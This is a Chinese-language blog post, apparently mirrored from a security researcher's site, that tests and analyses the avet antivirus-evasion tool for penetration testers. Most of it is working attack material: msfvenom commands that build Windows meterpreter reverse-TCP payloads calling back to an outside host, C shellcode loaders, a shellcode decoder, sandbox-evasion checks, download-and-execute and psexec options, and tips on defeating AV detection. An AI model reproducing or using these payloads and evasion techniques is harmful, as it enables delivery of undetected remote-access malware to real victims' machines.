4

AntiVirus Evasion Tool(avet)测试分析

 1 year ago
source link: https://3gstudent.github.io/3gstudent.github.io/AntiVirus-Evasion-Tool(avet)%E6%B5%8B%E8%AF%95%E5%88%86%E6%9E%90/
Go to the source link to view the article. You can view the picture content, updated content and better typesetting reading experience. If the link is broken, please click the button below to view the snapshot at that time.

0x00 前言


avet是一款用来绕过杀毒软件检测的工具,使用了多种不同的反病毒规避技术。

分别入选blackhat ASIA 2017 arsnal、blackhat USA 2017 arsnal和blackhat USA 2018 arsnal:

https://www.blackhat.com/asia-17/arsenal.html#avet-antivirus-evasion-tool

https://www.blackhat.com/us-17/arsenal/schedule/index.html#avet—antivirus-evasion-tool-7908

https://www.blackhat.com/us-18/arsenal/schedule/index.html#avet-antivirus-evasion-tool-10692

github开源地址:

https://github.com/govolution/avet

本文将要对其进行测试,结合自己的经验分析avet使用的反病毒规避技术

0x01 简介


本文将要介绍以下内容:

  • 工具实现细节
  • 技术细节分析

0x02 环境搭建


测试系统:kali2 x64

https://github.com/govolution/avet

如果使用32位kali系统,需要编译

gcc -o make_avet make_avet.c

64位kali系统不需要

3、安装wine32

否则,无法生成exe

Alt text

安装命令:

dpkg --add-architecture i386 && apt-get update && apt-get install wine32

4、安装TDM GCC

参考地址:

https://govolution.wordpress.com/2017/02/04/using-tdm-gcc-with-kali-2/

https://sourceforge.net/projects/tdm-gcc/

wine tdm64-gcc-5.1.0-2.exe

弹出安装窗口,选择Create

选择MinGW-w64/TDM64(32-bit and 64-bit)

接下来,均选择默认设置,最后安装

./make_avet -h

获得参数说明

0x03 使用流程


1、执行avet_fabric.py

Alt text

2、选择script

这里选择7: build_win64_meterpreter_rev_tcp_xor.sh

3、编辑脚本内容

显示默认脚本内容,可进行修改,如下图

Alt text

注:

脚本内容对应文件/build/build_win64_meterpreter_rev_tcp_xor.sh

默认脚本内容及说明如下:

(1) 指定gcc编译设置,内容为win64_compiler="wine gcc -m64"

. build/global_win64.sh

(2) 使用meterpreter生成reverse payload并保存为sc.txt

msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=192.168.116.142 lport=443 -e x64/xor -f c --platform Windows > sc.txt

(3) 读取sc.txt的内容,提取出shellcode,删除文件sc.txt

./format.sh sc.txt > scclean.txt && rm sc.txt

(4) 调用make_avet,向文件defs.h传入shellcode和功能标志位

./make_avet -f scclean.txt -X -E

(5) 使用gcc编译avet.c(avet.c会调用defs.h),生成最终文件pwn.exe

$win64_compiler -o pwn.exe avet.c

(6) 删除文件scclean.txt,清空文件defs.h

rm scclean.txt && echo "" > defs.h

4、执行,生成最终文件

确认脚本内容后,输入回车,执行脚本,如下图

Alt text

生成最终文件pwn.exe

0x04 工具实现细节


1、通过meterpreter生成payload并保存文件

msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=192.168.116.142 lport=443 -e x64/xor -f hex --platform Windows > sc.txt

文件内容如下图

Alt text

2、运行format.sh将shellcode从前面的文件提取出来

./format.sh sc.txt > scclean.txt

提取后的文件内容如下图

Alt text

注:

个人认为,以上两步可通过一条命令实现:

msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=192.168.116.142 lport=443 -e x64/xor -f hex --platform Windows > sc.txt

3、运行make_avet,从前面的文件提取shellcode,并设置功能标志位,写入文件defs.h

功能标志位对应make_avet支持的多种功能,可通过执行./make_avet -h获得详细说明

具体功能如下:

  • 从指定文件读取shellcode并执行
  • 从指定文件读取加密的shellcode,解密后执行
  • 调用iexplore.exe访问指定url,获得shellcode并执行
  • 通过WinAPI调用socket,访问指定url的80端口,获得shellcode并执行
  • 通过certutil下载文件,获得shellcode并执行
  • 通过powershell下载文件,获得shellcode并执行
  • 使用WinAPI fopen绕过沙盒
  • 使用WinAPI gethostbyname绕过沙盒
  • 编译成64位
  • 隐藏程序窗口

4、使用gcc编译avet.c,生成最终文件

avet.c为主体程序,从头文件defs.h读取shellcode和功能标志位

0x05 技术细节分析


1、执行shellcode的核心代码

void exec_shellcode(unsigned char *shellcode)
{
	int (*funct)();
	funct = (int (*)()) shellcode;
	(int)(*funct)();
}

对应生成shellcode的参数:

msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.116.142 lport=443 -e x86/xor -f hex -a x86 --platform Windows > sc.txt
void exec_shellcode_ASCIIMSF(unsigned char *shellcode)
{
	register unsigned char* r asm("eax");
	r=shellcode;
	asm("call *%eax;");
}

对应生成shellcode的参数:

msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.116.142 lport=443 -e x86/alpha_mixed -f hex -a x86 --platform Windows > sc.txt
void exec_shellcode64(unsigned char *shellcode)
{
	int len=strlen(shellcode);
	DWORD l=0;
	VirtualProtect(shellcode,len,PAGE_EXECUTE_READWRITE,&l);
	(* (int(*)()) shellcode)();
}

生成shellcode的参数:

msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=192.168.116.142 lport=443 -e x64/xor -f hex --platform Windows > sc.txt

注:

shellcode的加密方法还可以选择shikata_ga_nai,使用shikata_ga_nai加密50轮的参数如下:

msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.2.103 lport=443 -e x86/shikata_ga_nai -i 50 -f hex -a x86 --platform Windows > sc.txt

补充

执行shellcode的方法不唯一,这里再给出另外一种执行shellcode的示例代码:

void exec_shellcode(unsigned char *shellcode)
{
	((void(*)(void))&shellcode)();
}

shellcode的生成方式也不唯一,可以按照自己的思路生成shellcode

2、自己实现的加解密算法

加密对应参数为:

./make_avet -E

解密对应的代码为:

unsigned char* decode_shellcode(unsigned char *buffer, unsigned char *shellcode, int size)
{
	int j=0;
	shellcode=malloc((size/2));
	int i=0;
	do
	{
		unsigned char temp[3]={0};
		sprintf((char*)temp,"%c%c",buffer[i],buffer[i+1]);
		shellcode[j] = strtoul(temp, NULL, 16);
		i+=2;
		j++;
	} while(i<size);
	return shellcode;
}

3、绕过沙盒

(1) 使用WinAPI fopen

将shellcode保存在文件c:\windows\system.ini

主程序运行时读取文件c:\windows\system.ini

如果在沙盒中,无法打开文件c:\windows\system.ini,主程序自动退出

关键代码:

FILE *fp = fopen("c:\\windows\\system.ini", "rb");
if (fp == NULL)
	return 0;
fclose(fp);

(2) 使用WinAPI gethostbyname

主程序调用WinAPI gethostbyname获得指定主机名的主机信息

如果在沙盒中,gethostbyname将会返回NULL,主程序自动退出

关键代码:

struct hostent *hp = gethostbyname(KVALUE);
if (hp != NULL) 		
	exit(0);

注:

判断沙盒条件的方法不唯一,例如系统进程信息、配置信息、设备信息等

4、支持psexec远程执行

主体程序更换为avetsvc.c

avetsvc.c相比于avet.c,代码添加了注册服务的功能,能够通过psexec以服务的方式远程启动

0x06 免杀效果


具体免杀效果略

如果被查杀,可以尝试以下方法:

  • 修改shellcode
  • 加密shellcode
  • 修改shellcode的加载方式
  • 使用含有数字签名的可信程序启动shellcode

0x07 小结


本文对avet进行实际测试,分析其中的技术细节,省略实际免杀效果。

总体来说,avet实现了一个完整的框架,在此基础上易于做二次开发,确实能够提高渗透测试人员的效率


LEAVE A REPLY


About Joyk


Aggregate valuable and interesting links.
Joyk means Joy of geeK